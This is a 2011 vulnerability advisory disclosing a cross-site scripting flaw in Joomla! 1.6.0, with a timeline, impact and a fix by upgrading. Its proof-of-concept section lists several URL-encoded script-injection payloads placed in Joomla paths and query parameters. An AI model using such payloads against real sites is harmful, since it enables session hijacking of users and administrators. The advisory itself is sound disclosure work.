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Joomla! 1.6.0 | Cross Site Scripting (XSS) Vulnerability
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1. OVERVIEW
Joomla! 1.6.0 was vulnerable to Cross Site Scripting.
2. PRODUCT DESCRIPTION
Joomla is a free and open source content management system (CMS) for
publishing content on the World Wide Web and intranets. It comprises a
modelâ€"viewâ€"controller (MVC) Web application framework that can also be
used independently.
Joomla is written in PHP, uses object-oriented programming (OOP)
techniques and software design patterns, stores data in a MySQL
database, and includes features such as page caching, RSS feeds,
printable versions of pages, news flashes, blogs, polls, search, and
support for language internationalization.
3. VULNERABILITY DESCRIPTION
The Query String parameter was not properly sanitized upon submission
to the /index.php url, which allows attacker to conduct Cross Site
Scripting attack. This may allow an attacker to create a specially
crafted URL that would execute arbitrary script code in a victim's
browser.
4. VERSION AFFECTED
Joomla! 1.6.0
5. PROOF-OF-CONCEPT/EXPLOIT
SEO-enabled Joomla 1.6.0
http://attacker.in/joomla160/index.php/%2522%253E%253Cimg%2520src%253Da%2520onerror%253Dalert(String.fromCharCode(88,83,83))%253E09739572178%252F
http://attacker.in/joomla160/index.php/using-joomla/extensions/components/search-component/search/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E
http://attacker.in/joomla160/index.php/contact-us/'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E
http://attacker.in/joomla160/index.php/park-links?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1
http://attacker.in/joomla160/index.php/using-joomla/extensions/templates?'%2522%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E=1
SEO-disabled Joomla 1.6.0
http://attacker.in/joomla160x/index.php?option=com_weblinks&view=category&id=18&Itemid=227&a86a9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9666d64388c=1
http://attacker.in/joomla160x/index.php?option=com_content&view=category&layout=blog&id=21&Itemid=268&%2522%253e%253cscript%253ealert%280%29%253c/script%253e=XSS
This is the exactly same variant as shown in our last year demo video
in 1.5.20:
http://yehg.net/lab/pr0js/training/view/misc/joomla-1.5.20_encoded-xss/
We thought Joomla! team would fix this issue in 1.6.0 stable release
whilst they fixed it in Joomla! 1.5.21!
6. IMPACT
Attackers can compromise currently logged-in user/administrator
session and impersonate arbitrary user actions available under
/administrator/ functions.
7. SOLUTION
Upgrade to Joomla! 1.6.1 or higher
8. VENDOR
Joomla! Developer Team
http://www.joomla.org
9. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.
10. DISCLOSURE TIME-LINE
2011-01-24: notified vendor
2011-03-08: vendor released fix
2011-03-14: vulnerability disclosed
11. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.0]_cross_site_scripting(XSS)
Former Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.5.20]_cross_site_scripting(XSS)
XSS FAQ: http://www.cgisecurity.com/xss-faq.html
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html
#yehg [2011-03-14]
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Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd
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